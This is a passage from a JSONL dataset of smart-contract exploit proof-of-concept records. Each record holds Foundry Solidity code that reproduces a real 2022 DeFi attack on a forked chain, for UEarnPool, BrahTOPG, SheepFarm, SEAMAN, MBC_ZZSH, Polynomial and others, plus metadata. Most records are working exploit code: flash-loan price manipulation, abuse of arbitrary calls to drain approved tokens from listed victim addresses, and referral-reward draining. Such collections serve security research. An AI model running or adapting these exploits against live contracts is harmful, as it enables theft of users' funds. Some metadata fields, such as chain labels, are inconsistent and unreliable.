UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n address[] contractList;\n\n CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 23_120_167);\n }\n\n function testExploit() public {\n contractFactory();\n // bind invitor\n (bool success,) = contractList[0].call(abi.encodeWithSignature(\"bind(address)\", tx.origin));\n require(success);\n for (uint256 i = 1; i < 22; i++) {\n (bool success,) = contractList[i].call(abi.encodeWithSignature(\"bind(address)\", contractList[i - 1]));\n require(success);\n }\n\n Pair.swap(2_420_000 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n uint256 len = contractList.length;\n // LevelConfig[3].teamAmount : 2_400_000\n USDT.transfer(contractList[len - 1], 2_400_000 * 1e18);\n (bool success1,) =\n contractList[len - 1].call(abi.encodeWithSignature(\"stakeAndClaimReward(uint256)\", 2_400_000 * 1e18));\n require(success1);\n for (uint256 i = len - 2; i > 4; i--) {\n USDT.transfer(contractList[i], 20_000 * 1e18); // LevelConfig[3].Amount : 20_000\n USDT.balanceOf(address(this));\n // 162000 - 20000 + 1500, 1500 is the reduce amount of _addInviteReward(), claim remaining USDT when USDT amount in contract less than 162_000,\n if (USDT.balanceOf(address(Pool)) < 143_500 * 1e18) {\n USDT.transfer(address(Pool), 143_500 * 1e18 - USDT.balanceOf(address(Pool)));\n }\n (bool success1,) =\n contractList[i].call(abi.encodeWithSignature(\"stakeAndClaimReward(uint256)\", 20_000 * 1e18)); // LevelConfig[3].Amount : 20_000\n require(success1);\n (bool success2,) = contractList[i].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\n require(success2);\n }\n contractList[0].call(abi.encodeWithSignature(\"withdraw(address)\", address(this))); // claim the reward from _addInviteReward()\n contractList[1].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\n contractList[2].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\n contractList[3].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\n contractList[4].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\n uint256 borrowAmount = 2_420_000 * 1e18;\n USDT.transfer(address(Pair), borrowAmount * 10_000 / 9975 + 1000);\n }\n\n function contractFactory() public {\n address _add;\n bytes memory bytecode = type(claimReward).creationCode;\n for (uint256 _salt = 0; _salt < 22; _salt++) {\n assembly {\n _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)\n }\n contractList.push(_add);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "UEarnPool", "date": "2022-11", "file_name": "UEarnPool_exp.sol", "attack_vector": null, "content_hash": "246479a2e284e3cf", "collected_at": "2026-01-07T10:59:16.535377", "_source": "postmortems", "chain": "bsc", "block_number": 23120167, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n contractFactory();\n // bind invitor\n (bool success,) = contractList[0].call(abi.encodeWithSignature(\"bind(address)\", tx.origin));\n require(success);\n for (uint256 i = 1; i < 22; i++) {\n (bool success,) = contractList[i].call(abi.encodeWithSignature(\"bind(address)\", contractList[i - 1]));\n require(success);\n }\n\n Pair.swap(2_420_000 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.91, "quality_estimate": "low", "title": "UEarnPool Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// attacker tx: https://etherscan.io/tx/0xeaef2831d4d6bca04e4e9035613be637ae3b0034977673c1c2f10903926f29c0\n// offcial post-mortem: https://medium.com/neptune-mutual/decoding-brahma-brahtopg-smart-contract-vulnerability-7b7c364b79d8\n\ninterface Zapper {\n struct ZapData {\n address requiredToken;\n uint256 amountIn;\n uint256 minAmountOut;\n address allowanceTarget;\n address swapTarget;\n bytes callData;\n }\n\n function zapIn(\n ZapData calldata zapCall\n ) external;\n}\n\ncontract ContractTest is Test {\n Zapper zappper = Zapper(0xD248B30A3207A766d318C7A87F5Cf334A439446D);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address victimAddress = 0xA19789f57D0E0225a82EEFF0FeCb9f3776f276a3;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 15_933_794);\n }\n\n function testExploit() public {\n address(WETH).call{value: 1e15}(\"\");\n WETHToFRAX();\n uint256 balance = USDC.balanceOf(victimAddress);\n uint256 allowance = USDC.allowance(victimAddress, address(zappper));\n uint256 amount = balance;\n if (balance > allowance) {\n amount = allowance;\n }\n bytes memory data =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victimAddress, address(this), amount);\n Zapper.ZapData memory zapData = Zapper.ZapData({\n requiredToken: address(this),\n amountIn: 1,\n minAmountOut: 0,\n allowanceTarget: address(this),\n swapTarget: address(USDC),\n callData: data\n });\n zappper.zapIn(zapData);\n\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 6);\n }\n\n function WETHToFRAX() internal {\n WETH.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(FRAX);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WETH.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n return true;\n }\n\n function balanceOf(\n address account\n ) external view returns (uint256) {\n return 1;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n FRAX.transfer(address(zappper), 10);\n return true;\n }\n}\n", "type": "exploit_poc", "protocol": "BrahTOPG", "date": "2022-11", "file_name": "BrahTOPG_exp.sol", "attack_vector": null, "content_hash": "e7732fc16a03da22", "collected_at": "2026-01-07T10:59:16.535438", "_source": "postmortems", "chain": "ethereum", "block_number": 15933794, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": "https://medium.com/neptune-mutual/decoding-brahma-brahtopg-smart-contract-vulnerability-7b7c364b79d8", "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n address(WETH).call{value: 1e15}(\"\");\n WETHToFRAX();\n uint256 balance = USDC.balanceOf(victimAddress);\n uint256 allowance = USDC.allowance(victimAddress, address(zappper));\n uint256 amount = balance;\n if (balance > allowance) {\n amount = allowance;\n }\n bytes memory data =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victimAddress, address(this), amount);\n Zapper.ZapData memory zapData = Zapper.ZapData({\n requiredToken: address(this),\n amountIn: 1,\n minAmountOut: 0,\n allowanceTarget: address(this),\n swapTarget: address(USDC),\n callData: data\n });\n zappper.zapIn(zapData);\n\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.5, "quality_estimate": "low", "title": "BrahTOPG Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1592658104394473472\n// https://twitter.com/BlockSecTeam/status/1592734292727455744\n// @Tx\n// https://bscscan.com/tx/0x5735026e5de6d1968ab5baef0cc436cc0a3f4de4ab735335c5b1bd31fa60c582\n\ninterface SheepFram {\n function register(\n address neighbor\n ) external;\n function addGems() external payable;\n function upgradeVillage(\n uint256 framId\n ) external;\n function withdrawMoney(\n uint256 wool\n ) external;\n function sellVillage() external;\n}\n\ncontract ContractTest is Test {\n SheepFram sheepFram = SheepFram(0x4726010da871f4b57b5031E3EA48Bde961F122aA);\n address neighbor = 0x14598f3a9f3042097486DC58C65780Daf3e3acFB;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_088_156);\n }\n\n function testExploit() public payable {\n for (uint8 i = 0; i < 200; i++) {\n sheepFram.register(neighbor);\n }\n sheepFram.addGems{value: 5 * 1e14}();\n for (uint8 i = 0; i < 3; i++) {\n sheepFram.upgradeVillage(i);\n }\n sheepFram.sellVillage();\n uint256 BalanceBefore = address(this).balance;\n sheepFram.withdrawMoney(20_000);\n uint256 BalanceAfter = address(this).balance;\n\n emit log_named_decimal_uint(\"Attacker BNB profit after exploit\", (BalanceAfter - BalanceBefore), 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SheepFarm", "date": "2022-11", "file_name": "SheepFarm_exp.sol", "attack_vector": null, "content_hash": "5863e043a1e95d78", "collected_at": "2026-01-07T10:59:16.535482", "_source": "postmortems", "chain": "bsc", "block_number": 23088156, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public payable {\n for (uint8 i = 0; i < 200; i++) {\n sheepFram.register(neighbor);\n }\n sheepFram.addGems{value: 5 * 1e14}();\n for (uint8 i = 0; i < 3; i++) {\n sheepFram.upgradeVillage(i);\n }\n sheepFram.sellVillage();\n uint256 BalanceBefore = address(this).balance;\n sheepFram.withdrawMoney(20_000);\n uint256 BalanceAfter = address(this).balance;\n\n emit log_named_decimal_uint(\"Attacker BNB profit after exploit\", (BalanceAfter - BalanceBefore), 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.81, "quality_estimate": "low", "title": "SheepFarm Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\n\n// Attacker: 0xae39a6c2379bef53334ea968f4c711c8cf3898b6\n// Vulnerable Contract: 0x0ad8229d4bc84135786ae752b9a9d53392a8afd4\n// Attack Tx: https://phalcon.blocksec.com/tx/eth/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0\n// https://etherscan.io/tx/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0\n\n// @Analysis\n// https://twitter.com/Supremacy_CA/status/1590337718755954690\n\ncontract Exploit is Test {\n WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n address private constant vulnerableContract = 0x0AD8229D4bC84135786AE752B9A9D53392A8afd4;\n address private constant attacker = 0xAE39A6c2379BEF53334EA968F4c711c8CF3898b6;\n address private constant victim = 0x211B6a1137BF539B2750e02b9E525CF5757A35aE;\n\n function testHack() external {\n vm.createSelectFork(\"mainnet\", 15_926_096);\n\n // use these tools to decode raw calldata: https://www.ethcmd.com/tools/decode-calldata/ + https://calldata-decoder.apoorv.xyz/\n bytes memory payload = abi.encodeWithSelector(\n 0x090f88ca,\n address(USDC),\n address(WETH),\n 0, // ?\n 1, // ?\n abi.encodeWithSelector(IERC20.transferFrom.selector, victim, attacker, USDC.balanceOf(victim))\n );\n\n vulnerableContract.call(payload);\n\n console.log(\"Attacker's profit: %s USDC\", USDC.balanceOf(attacker) / 1e6);\n }\n}\n\n/* -------------------- Interface -------------------- */\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function deliver(\n uint256 tAmount\n ) external;\n}\n\ninterface WETH9 {\n function deposit() external payable;\n function transfer(address to, uint256 value) external returns (bool);\n function approve(address guy, uint256 wad) external returns (bool);\n function withdraw(\n uint256 wad\n ) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n", "type": "exploit_poc", "protocol": "MEV_0ad8", "date": "2022-11", "file_name": "MEV_0ad8_exp.sol", "attack_vector": null, "content_hash": "3d130f973e36c04b", "collected_at": "2026-01-07T10:59:16.535523", "_source": "postmortems", "chain": "ethereum", "block_number": 15926096, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://phalcon.blocksec.com/tx/eth/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://phalcon.blocksec.com/tx/eth/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.23, "quality_estimate": "low", "title": "MEV_0ad8 Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "//SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1597493955939405825\n// https://twitter.com/CertiKAlert/status/1597513374841044993\n// https://twitter.com/BeosinAlert/status/1597535796621631489\n// @TX\n// https://bscscan.com/tx/0x6f1af27d08b10caa7e96ec3d580bf39e29fd5ece00abda7d8955715403bf34a8\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 SEAMAN = IERC20(0x6bc9b4976ba6f8C9574326375204eE469993D038);\n IERC20 GVC = IERC20(0xDB95FBc5532eEb43DeEd56c8dc050c930e31017e);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;\n address Pair = 0x6637914482670f91F43025802b6755F27050b0a6;\n\n CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 23_467_515);\n }\n\n function testExploit() public {\n DVM(dodo).flashLoan(0, 800_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n USDT.approve(address(Router), type(uint256).max);\n USDTToSEAMAN();\n USDTToGVC();\n for (uint256 i = 0; i < 20; i++) {\n SEAMAN.transfer(Pair, 1);\n }\n GVCToUSDT();\n USDT.transfer(dodo, 800_000 * 1e18);\n }\n\n function USDTToSEAMAN() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(SEAMAN);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(10 * 1e9, 0, path, address(this), block.timestamp);\n }\n\n function USDTToGVC() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(GVC);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 500_000 * 1e18, 0, path, address(this), block.timestamp\n );\n }\n\n function GVCToUSDT() internal {\n GVC.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(GVC);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n GVC.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "SEAMAN", "date": "2022-11", "file_name": "SEAMAN_exp.sol", "attack_vector": "flash_loan", "content_hash": "96c4aacf51c8a63f", "collected_at": "2026-01-07T10:59:16.535563", "_source": "postmortems", "chain": "bsc", "block_number": 23467515, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n DVM(dodo).flashLoan(0, 800_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.32, "quality_estimate": "low", "title": "SEAMAN Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1597742575623888896\n// https://twitter.com/CertiKAlert/status/1597639717096460288\n// @TX\n// https://phalcon.blocksec.com/tx/bsc/0xdc53a6b5bf8e2962cf0e0eada6451f10956f4c0845a3ce134ddb050365f15c86\n\ninterface IMBC is IERC20 {\n function swapAndLiquifyStepv1() external;\n}\n\ninterface IZZSH is IERC20 {\n function swapAndLiquifyStepv1() external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);\n IMBC MBC = IMBC(0x4E87880A72f6896E7e0a635A5838fFc89b13bd17);\n IZZSH ZZSH = IZZSH(0xeE04a3f9795897fd74b7F04Bb299Ba25521606e6);\n address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;\n\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 MBCPair = Uni_Pair_V2(0x5b1Bf836fba1836Ca7ffCE26f155c75dBFa4aDF1);\n Uni_Pair_V2 ZZSHPair = Uni_Pair_V2(0x33CCA0E0CFf617a2aef1397113E779E42a06a74A);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n uint256 dodoFlahloanAmount;\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_474_460);\n }\n\n function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n MBC.approve(address(Router), type(uint256).max);\n ZZSH.approve(address(Router), type(uint256).max);\n dodoFlahloanAmount = USDT.balanceOf(dodo);\n DVM(dodo).flashLoan(0, dodoFlahloanAmount, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n // Intial rate MBC/USDT -> 1.1365032200116891/1\n // Pair getReserves -> 12475110456913920021663 / 10976748888389080860664\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(MBC);\n uint256[] memory values = Router.getAmountsOut(150_000 * 10 ** 18, path);\n\n USDT.transfer(address(MBCPair), 150_000 * 10 ** 18);\n\n MBCPair.swap(values[1], 0, address(this), \"\");\n\n MBC.swapAndLiquifyStepv1();\n\n // MBCPair.sync(); // unnecessary\n\n // Altered rate MBC/USDT -> 0.0052991665156216445/1\n // Pair getReserves -> 900258815097978209431 / 169886870405763976494888\n\n USDT.transfer(address(MBCPair), 1001); // function() _isAddLiquidityV1()\n MBC.transfer(address(MBCPair), MBC.balanceOf(address(this)));\n (uint256 MBCReserve,,) = MBCPair.getReserves();\n uint256 amountIn = MBC.balanceOf(address(MBCPair)) - MBCReserve;\n path[0] = address(MBC);\n path[1] = address(USDT);\n values = Router.getAmountsOut(amountIn, path);\n\n MBCPair.swap(0, values[1], address(this), \"\");\n\n path[0] = address(USDT);\n path[1] = address(ZZSH);\n values = Router.getAmountsOut(150_000 * 10 ** 18, path);\n\n USDT.transfer(address(ZZSHPair), 150_000 * 10 ** 18);\n\n ZZSHPair.swap(0, values[1], address(this), \"\");\n\n ZZSH.swapAndLiquifyStepv1();\n\n // ZZSHPair.sync(); // unnecessary\n\n USDT.transfer(address(ZZSHPair), 1001); // function() _isAddLiquidityV1()\n ZZSH.transfer(address(ZZSHPair), ZZSH.balanceOf(address(this)));\n (, uint256 ZZSHReserve,) = ZZSHPair.getReserves();\n amountIn = ZZSH.balanceOf(address(ZZSHPair)) - ZZSHReserve;\n path[0] = address(ZZSH);\n path[1] = address(USDT);\n values = Router.getAmountsOut(amountIn, path);\n\n ZZSHPair.swap(values[1], 0, address(this), \"\");\n\n USDT.transfer(dodo, dodoFlahloanAmount);\n }\n}\n", "type": "exploit_poc", "protocol": "MBC_ZZSH", "date": "2022-11", "file_name": "MBC_ZZSH_exp.sol", "attack_vector": "flash_loan", "content_hash": "6080b5b6c5787868", "collected_at": "2026-01-07T10:59:16.535605", "_source": "postmortems", "chain": "unknown", "block_number": 23474460, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n MBC.approve(address(Router), type(uint256).max);\n ZZSH.approve(address(Router), type(uint256).max);\n dodoFlahloanAmount = USDT.balanceOf(dodo);\n DVM(dodo).flashLoan(0, dodoFlahloanAmount, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.96, "quality_estimate": "low", "title": "MBC_ZZSH Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~1.4K USD\n// TX : https://app.blocksec.com/explorer/tx/optimism/0x9f34ae044cbbf3f1603769dcd90163add48348dde7e1dda41817991935ebfa2f\n// Attacker : https://optimistic.etherscan.io/address/0xcf8396010fb7e651f85a439dd7ebc0c8ab56b3f3\n// Attack Contract : https://optimistic.etherscan.io/address/0xf682e302f16c9509ffa133029ccf6de55f4e29a8\n// GUY : https://x.com/peckshield/status/1602216000187174912\ninterface PolynomialZap {\n function swapAndDeposit(\n address user,\n address token,\n address depositToken,\n address swapTarget,\n address vault,\n uint256 amount,\n bytes memory swapData\n ) external payable;\n}\n\ncontract ContractTest is Test {\n // Constants\n IERC20 private constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);\n IERC20 private constant WETH = IERC20(0x4200000000000000000000000000000000000006);\n IERC20 private constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);\n address private constant ETH_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);\n\n // State variables\n address private vuln = 0x00dD464dBA9fC0C20c4cC4D470E8Bf965788C150;\n PolynomialZap private zap = PolynomialZap(0xDEEB242E045e5827Edf526399bd13E7fFEba4281);\n PolynomialZap private zaps = PolynomialZap(0xB162f01C5BDA7a68292410aaA059E7Ce28D77c82);\n address private pool = 0x1D751bc1A723AccF1942122ca9aa82d49D08d2AE;\n\n // Victim addresses\n address[] private victims = [\n 0x6467024Ef6247A94c8cf60D50715aE71B8B1dfBf,\n 0x59022C79236A0F90bAc80b29357bc1d3e6d227d5,\n 0xDa1521c966bc95324E156f4F04B28F2804985da5,\n 0xfd47c9Ad54D12Caa895FabCD4f7F4308a5F24161,\n 0x316c42Af89b913429DBe4a86f30373172340A821\n ];\n\n function setUp() public {\n vm.createSelectFork(\"optimism\", 39_343_642);\n }\n\n function testExploit() public {\n attack();\n }\n\n function attack() public {\n for (uint256 i = 0; i < victims.length; i++) {\n executeSwapAndDeposit(victims[i]);\n }\n emit log_named_decimal_uint(\n \"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function executeSwapAndDeposit(\n address victim\n ) internal {\n bytes memory data = encodeTransferData(victim);\n PolynomialZap zapContract = (victim == victims[0]) ? zap : zaps;\n\n zapContract.swapAndDeposit(victim, ETH_ADDRESS, address(this), address(USDC), address(this), 0, data);\n }\n\n function encodeTransferData(\n address victim\n ) internal view returns (bytes memory) {\n uint256 amount;\n if (victim == victims[0]) {\n amount = USDC.balanceOf(victim);\n } else if (victim == victims[1]) {\n amount = 10 * 1e6;\n } else {\n amount = USDC.allowance(victim, address(zaps));\n }\n return abi.encodeWithSelector(bytes4(0x23b872dd), victim, address(this), amount);\n }\n\n function balanceOf(\n address account\n ) public view returns (uint256) {\n return 1;\n }\n\n function approve(address spender, uint256 amount) public pure returns (bool) {\n return true;\n }\n\n function initiateDeposit(address _add, uint256 amount) external {}\n}\n", "type": "exploit_poc", "protocol": "Polynomial", "date": "2022-11", "file_name": "Polynomial_exp.sol", "attack_vector": null, "content_hash": "8cd68d272e818dd3", "collected_at": "2026-01-07T10:59:16.535656", "_source": "postmortems", "chain": "ethereum", "block_number": 39343642, "total_lost_raw": "~1.4K USD", "total_lost_usd": 1400.0, "attacker_address": "https://optimistic.etherscan.io/address/0xcf8396010fb7e651f85a439dd7ebc0c8ab56b3f3", "attack_contract": "https://optimistic.etherscan.io/address/0xf682e302f16c9509ffa133029ccf6de55f4e29a8", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~1.4K USD", "category": "unknown", "exploit_code": "function testExploit() public {\n attack();\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://optimistic.etherscan.io/address/0xcf8396010fb7e651f85a439dd7ebc0c8ab56b3f3", "keyinfo_attack_contract": "https://optimistic.etherscan.io/address/0xf682e302f16c9509ffa133029ccf6de55f4e29a8", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.4K", "content_richness_score": 5.71, "quality_estimate": "medium", "title": "Polynomial Exploit (2022-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1593690338526273536\n// @TX\n// https://bscscan.com/tx/0x3757d177482171dcfad7066c5e88d6f0f0fe74b28f32e41dd77137cad859c777\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Router_V2 Router = 